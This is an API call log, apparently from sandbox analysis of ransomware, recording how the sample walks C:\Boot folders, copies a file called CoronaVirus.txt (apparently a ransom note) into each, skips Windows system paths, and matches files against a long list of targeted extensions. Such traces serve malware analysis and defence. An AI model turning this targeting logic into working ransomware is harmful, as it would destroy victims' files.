	[0083.194] FindClose (in: hFindFile=0x600750 | out: hFindFile=0x600750) returned 1
	[0083.194] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0083.194] wcsncmp (_String1="f", _String2=".", _MaxCount=0x1) returned 56
	[0083.194] wcsncmp (_String1="fi", _String2="..", _MaxCount=0x2) returned 56
	[0083.194] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\fi-FI") returned 13
	[0083.194] wcsncmp (_String1="C:\\Boot\\f", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.194] wcsstr (_Str="C:\\Boot\\fi-FI", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.194] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\fi-FI\\CoronaVirus.txt" (normalized: "c:\\boot\\fi-fi\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.197] _alloca_probe () returned 0x4036d0
	[0083.197] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\fi-FI", lpFilePart=0x316583c*="fi-FI") returned 0xd
	[0083.197] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeaf1401c, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600b90
	[0083.198] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.198] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeaf1401c, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.198] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.198] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.198] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.198] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.198] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.198] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.198] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.198] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.198] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.198] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.198] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.198] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.198] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.198] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.198] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.198] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.198] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.198] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.198] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.198] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.198] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.198] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.198] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.198] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.198] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.198] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.198] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.198] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.199] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.199] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.199] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.199] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.199] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.199] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.199] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.199] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.199] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.199] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.199] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.199] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.199] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.199] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.199] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.199] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.199] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.199] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.199] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.199] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.199] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.199] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.199] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.199] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.199] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.199] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.199] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.199] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.199] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.199] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.199] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.199] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.199] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.199] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.199] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.199] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.199] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.200] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.200] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.200] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.200] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.200] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.200] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.200] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.200] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.200] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.200] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.200] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.200] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.200] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.200] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.200] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.200] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.200] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.200] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.200] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.200] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.200] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.200] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.200] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.200] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.200] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.200] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.200] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.200] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.200] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.200] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.200] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.200] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.200] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.200] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.200] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.200] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.200] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.201] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.201] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.201] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.201] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.201] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.201] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.201] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.201] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.201] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.201] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.201] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.201] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.201] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf1401c, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeaf1401c, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.201] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.201] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.201] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.201] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0083.201] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.201] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0083.201] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.201] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0083.201] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.201] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0083.201] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.201] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0083.201] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.201] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0083.201] malloc (_Size=0x1000) returned 0x2f365b8
	[0083.202] _swprintf (in: param_1=0x2f365b8, param_2="%s\\%s" | out: param_1="C:\\Boot\\fi-FI\\CoronaVirus.txt") returned 29
	[0083.202] wcsstr (_Str="C:\\Boot\\fi-FI\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.202] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.202] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.202] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.202] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.202] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.202] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.202] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.202] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.202] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.202] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.202] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.202] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.202] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.202] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.202] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.202] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.202] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.202] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.202] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.202] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.202] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.202] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.202] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.202] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.202] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.202] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.202] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.202] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.202] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.202] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.203] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.203] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.203] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.203] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.203] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.203] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.203] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.203] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.203] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.203] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.203] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.203] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.203] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.203] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.203] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.203] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.203] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.203] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.203] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.203] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.203] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.203] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.203] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.203] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.203] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.203] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.203] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.203] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.203] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.203] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.203] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.203] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.203] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.203] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.203] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.203] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.204] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.204] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.204] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.204] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.204] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.204] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.204] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.204] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.204] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.204] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.204] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.204] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.204] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.204] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.204] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.204] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.204] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.204] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.204] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.204] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.204] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.204] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.204] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.204] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.204] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.204] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.204] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.204] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.204] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.204] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.204] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.204] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.204] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.204] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.204] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.204] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.204] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.205] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.205] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.205] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.205] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.205] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.205] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.205] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.205] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.205] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.205] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.205] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.205] FindClose (in: hFindFile=0x600b90 | out: hFindFile=0x600b90) returned 1
	[0083.205] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0083.205] wcsncmp (_String1="F", _String2=".", _MaxCount=0x1) returned 24
	[0083.205] wcsncmp (_String1="Fo", _String2="..", _MaxCount=0x2) returned 24
	[0083.205] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\Fonts") returned 13
	[0083.205] wcsncmp (_String1="C:\\Boot\\F", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.205] wcsstr (_Str="C:\\Boot\\Fonts", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.205] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\Fonts\\CoronaVirus.txt" (normalized: "c:\\boot\\fonts\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.210] _alloca_probe () returned 0x4036d0
	[0083.211] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\Fonts", lpFilePart=0x316583c*="Fonts") returned 0xd
	[0083.211] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeaf3a069, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600750
	[0083.211] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.211] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeaf3a069, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.211] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.211] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1
	[0083.211] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0083.211] wcsncmp (_String1="ch", _String2="..", _MaxCount=0x2) returned 53
	[0083.211] _wcslwr (in: _String=0x316587c | out: _String=".ttf") returned=".ttf"
